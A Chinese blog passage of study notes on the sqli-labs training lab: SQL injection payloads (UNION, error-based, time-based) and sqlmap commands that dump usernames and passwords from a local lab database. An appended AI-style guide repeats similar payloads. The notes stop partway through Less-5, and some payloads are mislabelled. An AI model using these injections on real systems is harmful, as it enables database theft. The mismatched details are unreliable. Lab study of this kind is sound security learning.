sqli-labs学习笔记(Less1-Less24)

本文详细记录了sqli-labs的前24关实战过程,涵盖了GET和POST方式的各种SQL注入攻击,包括错误提示型、整数型、单引号、双引号、布尔型、时间延迟型等多种类型的注入方法。通过这些实战案例,深入理解SQL注入的原理和防御策略。

摘要生成于 C知道 ,由 DeepSeek-R1 满血版支持, 前往体验 >

Less-1 GET - Error based - Single quotes - String

select … from … where id=’$id’

基于union联合查询

http://127.0.0.1/sqli-labs-master/Less-1/?id=0
在这里插入图片描述
报错
http://127.0.0.1/sqli-labs-master/Less-1/?id=0’ order by 3–+
在这里插入图片描述

在这里插入图片描述

在这里插入图片描述

在这里插入图片描述

(0x3a:0x是十六进制标志,3a是十进制的58,是ascii中的 ‘:’ ,用以分割pasword和username)

在这里插入图片描述

使用sqlmap跑:

sqlmap -u “127.0.0.1/sqli-labs-master/Less-1/?id=1” --current-db

  • 跑出当前数据库

在这里插入图片描述
sqlmap -u “127.0.0.1/sqli-labs-master/Less-1/?id=1” -D security --tables

  • 爆出表名

在这里插入图片描述
sqlmap -u “127.0.0.1/sqli-labs-master/Less-1/?id=1” -D security -T users --columns

  • 爆出列名

在这里插入图片描述
sqlmap -u “127.0.0.1/sqli-labs-master/Less-1/?id=1” -D security -T users -C id,password,username --dump

  • 爆出字段
    在这里插入图片描述

Less-2 GET - Error based - Intiger based

当输入id=1‘值时,发现所输入的id值全部都带入进去了

在这里插入图片描述

猜测出:select … from … where id=$id
所以,将id=1’中的单引号去掉,然后按less-1的步骤进行报表即可
Payload:

http://爆出字段
http://127.0.0.1/sqli-labs-master/Less-3/?id=0’) union select 1,2,group_concat(username,0x3a,password) from users–+

在这里插入图片描述

Less-3 GET - Error based - Single quotes with twist string

当输入id=1’值时,发现输出的报错会自动加上一个右括号
在这里插入图片描述
猜测出:select … from … where id=(’$id’)
,所以,将id=1’中的单引号去掉,然后按less-1的步骤进行报表即可
Payload:

在这里插入图片描述

Less-4 GET - Error based - Double Quotes - String

当输入id=1’值时,发现不报错,输入id=1”
在这里插入图片描述
猜测出:select … from … where id=("$id")
一一
Payload:

http://127.0.0.1/sqli-labs-master/Less-3/?id=0”) union select 1,2,database()–+

在这里插入图片描述

Less-5 GET - Double Injection - Single Quotes - String

当输入id=1’时出现
在这里插入图片描述

猜测其应该是布尔型盲注、报错型注入、时间延迟型盲注中的一种,构造时间延迟盲注payload:

http://127.0.0.1/sqli-labs-master/Less-5/?id=1’ and sleep(5)–+

发现有明显延迟,说明其是时间延迟注入类型,构造爆破Payload:
http://127.0.0.1/sqli-labs-master/Less-5/?id=1’ and sleep(5) order by 3–+

时间延迟型手工注入,正确会延迟,错误没有延迟。
本方法中payloa

### SQL注入基础与sqli-labs靶场学习指南 SQL注入是一种常见的Web安全漏洞,攻击者通过在输入字段中注入恶意SQL代码,从而操控后端数据库,获取、篡改或删除敏感数据。为了系统性地学习和掌握SQL注入技术,可以使用 **sqli-labs** 靶场进行实战训练。该靶场由一系列基于不同注入类型的挑战组成,适合从基础到进阶的全面学习。 #### sqli-labs 环境搭建 sqli-labs 是一个基于PHP/MySQL的SQL注入练习平台,使用前需要配置好Web环境,例如: - 安装 XAMPP 或 WAMP 等本地服务器环境 - 下载 sqli-labs 项目并部署到 `htdocs` 目录 - 启动 Apache 和 MySQL 服务 - 访问 `http://localhost/sqlilabs` 安装数据库并初始化数据 完成环境搭建后,即可开始逐关挑战。 #### 注入类型判断 在开始每一关挑战时,首先应判断是否存在SQL注入漏洞以及注入类型。常见方法包括: - **正常输入与错误输入对比**:输入正常数据和特殊字符(如 `'`、`"`、`')` 等),观察页面是否报错或行为异常。 - **报错注入**:利用数据库报错信息返回数据,例如使用 `UpdateXML()`、`ExtractValue()` 等函数。 - **联合查询注入(UNION Query Injection)**:通过 `UNION SELECT` 查询获取额外数据。 - **布尔盲注**:通过构造布尔条件判断数据库内容。 - **时间盲注**:使用 `SLEEP()` 等函数判断数据库响应时间差异。 #### 判断SQL查询结果列数 在联合注入中,需要确保注入的 `SELECT` 语句与原查询列数一致。常用方法如下: - 使用 `ORDER BY` 猜测列数:例如 `?id=1' ORDER BY 3 --+`,若页面正常则列数大于等于3;若报错则小于3。 - 使用 `UNION SELECT` 配合 `NULL` 值进行验证:例如 `?id=-1' UNION SELECT NULL, NULL, NULL --+`,逐步增加 `NULL` 数量以匹配实际列数。 #### 报错注入实践(以 UpdateXML 为例) 在某些关卡中,无法直接通过联合注入获取数据,但可通过报错注入方式提取信息: ```sql ? id=1' AND (SELECT 1 FROM (SELECT COUNT(*), CONCAT((SELECT DATABASE()), FLOOR(RAND(0)*2)) x FROM INFORMATION_SCHEMA.COLUMNS GROUP BY x) a) --+ ``` 该语句会尝试执行一个会报错的查询,并将数据库名回显在错误信息中。若信息被截断,可使用 `RIGHT()` 函数进行偏移读取完整内容: ```sql ? id=1' AND (SELECT 1 FROM (SELECT COUNT(*), CONCAT(RIGHT((SELECT DATABASE()), 10), FLOOR(RAND(0)*2)) x FROM INFORMATION_SCHEMA.COLUMNS GROUP BY x) a) --+ ``` #### 爆破表名与列名 一旦确认注入点,可尝试从 `INFORMATION_SCHEMA` 中提取数据库结构信息: - **爆破数据库名**: ```sql ? id=1' UNION SELECT schema_name, NULL FROM information_schema.schemata LIMIT 0,1 --+ ``` - **爆破表名**(以数据库名为 `security` 为例): ```sql ? id=1' UNION SELECT table_name, NULL FROM information_schema.tables WHERE table_schema='security' LIMIT 0,1 --+ ``` - **爆破列名**(以表名为 `users` 为例): ```sql ? id=1' UNION SELECT column_name, NULL FROM information_schema.columns WHERE table_name='users' LIMIT 0,1 --+ ``` #### 数据提取 在获取列名后,即可提取具体数据: ```sql ? id=1' UNION SELECT username, password FROM users --+ ``` 若页面回显区域有限,可使用 `RIGHT()`、`SUBSTRING()` 等函数分段提取长字符串。 #### 工具辅助与深入学习 虽然手工注入有助于理解原理,但在实际渗透测试中,推荐使用自动化工具如 **sqlmap**,它支持多种注入方式和数据库类型,命令示例如下: ```bash sqlmap -u "http://localhost/Less-1/?id=1" --batch --risk=3 --level=5 --dbs ``` 该命令将扫描目标URL的注入点并列出数据库。 若希望深入掌握SQL注入原理,建议结合手工注入与工具使用,理解每一步的注入逻辑,并尝试使用PHP等语言编写简单的数据库查询脚本,模拟注入过程。 --- ###
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值